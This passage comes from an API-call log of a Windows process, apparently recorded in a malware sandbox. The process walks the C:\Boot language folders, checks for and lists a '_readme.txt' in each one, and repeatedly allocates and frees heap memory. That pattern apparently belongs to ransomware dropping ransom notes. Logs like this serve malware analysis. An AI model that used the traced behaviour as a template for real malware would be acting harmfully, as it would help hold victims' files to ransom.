hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.259] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.259] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.259] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.259] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.259] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.259] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.259] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.259] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.259] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.259] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.259] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.259] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.259] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.259] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.259] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.259] PathFindFileNameW (pszPath="C:\\Boot\\el-GR\\") returned="el-GR\\" [0122.260] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.260] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.260] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.260] PathFindFileNameW (pszPath="") returned="" [0122.260] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.260] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.260] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.260] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.260] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.260] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.260] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.260] PathAppendW (in: pszPath="C:\\Boot\\el-GR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\el-GR\\_readme.txt") returned 1 [0122.260] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.260] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.260] PathFileExistsW (pszPath="C:\\Boot\\el-GR\\_readme.txt") returned 1 [0122.261] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.261] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.261] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13aa5870, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13aa5870, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.264] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.264] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13aa5870, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13aa5870, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.264] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0122.264] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13aa5870, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13aa5870, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13aa5870, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.264] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13aa5870, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13aa5870, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13aa5870, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.264] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.264] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.264] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018798 | out: hHeap=0x5b0000) returned 1 [0122.264] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018798 [0122.264] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.264] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.264] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.264] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.264] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.264] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.264] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.264] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.264] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.264] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.264] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.265] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.265] PathFindFileNameW (pszPath="C:\\Boot\\en-US\\") returned="en-US\\" [0122.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.265] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.265] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.266] PathFindFileNameW (pszPath="") returned="" [0122.266] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.266] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.266] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.266] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x800) returned 0x307ad38 [0122.266] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.266] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x810) returned 0x30667b8 [0122.266] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.266] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.266] PathAppendW (in: pszPath="C:\\Boot\\en-US\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\en-US\\_readme.txt") returned 1 [0122.266] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.266] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.266] PathFileExistsW (pszPath="C:\\Boot\\en-US\\_readme.txt") returned 1 [0122.270] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.270] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.271] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13acb9d0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13acb9d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.271] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.271] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13acb9d0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13acb9d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.271] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0122.271] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0122.271] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13acb9d0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13acb9d0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13acb9d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.271] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13acb9d0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13acb9d0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13acb9d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.271] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.271] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.271] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018798 | out: hHeap=0x5b0000) returned 1 [0122.271] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018798 [0122.271] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.271] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.271] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.271] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.271] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.271] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.271] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.271] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.271] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.271] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.271] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.271] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.272] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.272] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.272] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.272] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.272] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.272] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.272] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.272] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.272] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.272] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.272] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.272] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.272] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.272] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.272] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.272] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.272] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.272] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.272] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.272] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.272] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.272] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.272] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.272] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.272] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.272] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.272] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.272] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.272] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.272] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.272] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.272] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.272] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.272] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.274] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.274] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.274] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.274] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.274] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.274] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.274] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.274] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.274] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.274] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.274] HeapFree 